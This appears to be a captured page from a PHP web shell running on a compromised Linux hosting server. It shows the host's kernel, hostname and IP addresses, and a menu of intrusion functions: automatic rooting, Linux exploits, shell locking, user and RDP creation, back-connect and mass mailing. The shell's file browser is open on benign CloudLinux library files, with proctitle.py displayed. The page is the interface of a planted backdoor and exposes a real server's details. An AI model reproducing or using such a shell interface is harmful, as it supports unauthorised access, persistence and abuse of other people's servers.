Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.119.106.78
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
lvestats /
lib /
commons /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
219
B
-rw-r--r--
argparse_utils.py
10.98
KB
-rw-r--r--
dateutil.py
5.9
KB
-rw-r--r--
decorators.py
931
B
-rw-r--r--
func.py
15.82
KB
-rw-r--r--
htpasswd.py
2.15
KB
-rw-r--r--
litespeed.py
6.56
KB
-rw-r--r--
logsetup.py
4.45
KB
-rw-r--r--
proctitle.py
2.81
KB
-rw-r--r--
profiler.py
651
B
-rw-r--r--
progress.py
1.09
KB
-rw-r--r--
sentry.py
6.35
KB
-rw-r--r--
server_status.py
1.33
KB
-rw-r--r--
sizeutil.py
2.7
KB
-rw-r--r--
users_manager.py
3.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : proctitle.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import from builtins import filter import logging import os import re import time from lvestats.lib.commons.func import get_all_user_domains, normalize_domain class Proctitle(object): """ Class for working with mod_procurl files """ def __init__(self, shm_dir="/dev/shm/"): self.now = 0 self.log = logging.getLogger('Proctitle') self.SHM_DIR = shm_dir self.FILE_PATTERN = re.compile(r"apache_title_shm_[0-9]+_[0-9]+_[0-9]+$", re.IGNORECASE) self.parsed_data = self._get_all_data() def _get_all_data(self): """ 1) Get all files in the self.SHM_DIR that mathes to the regexp self.FILE_PATTERN 2) Read every file to the first \x00 simbol 3) If apache process is iddle file content equals to httpd, else it should contain 5 values separated by space 4) Split every interesting line and return :return: list of the lists [[Timestamp, Domain, Http type, Path, Http version],...] """ result = [] if os.path.exists(self.SHM_DIR): files = filter(self.FILE_PATTERN.search, os.listdir(self.SHM_DIR)) self.now = time.time() for file in files: try: file_name = os.path.join(self.SHM_DIR, file) with open(file_name, 'r') as http_stats: http_stats_line = http_stats.readline() http_stats_line = http_stats_line.split('\x00')[0] if not http_stats_line == "httpd": http_stats_line_split = http_stats_line.split(" ") if len(http_stats_line_split) == 5: result.append(http_stats_line_split + [file.split("_")[-3]]) else: self.log.debug("Number of values in file %s is not equal to 5", file) except IOError as e: self.log.debug(str(e)) return result def get_user_data(self, username): """ Returns information about processed by user pages. :param username: :return: list of the lists [[Pid, Domain, Path, Http type, Http version, Time],...] """ all_domains = get_all_user_domains(username) normalized_domains = set(map(normalize_domain, all_domains)) result = [] for data in self.parsed_data: if normalize_domain(data[1]) in normalized_domains: result.append([data[5], data[1], data[2], data[3], data[4], "%.1f" % (self.now - float(data[0]))]) return result
Close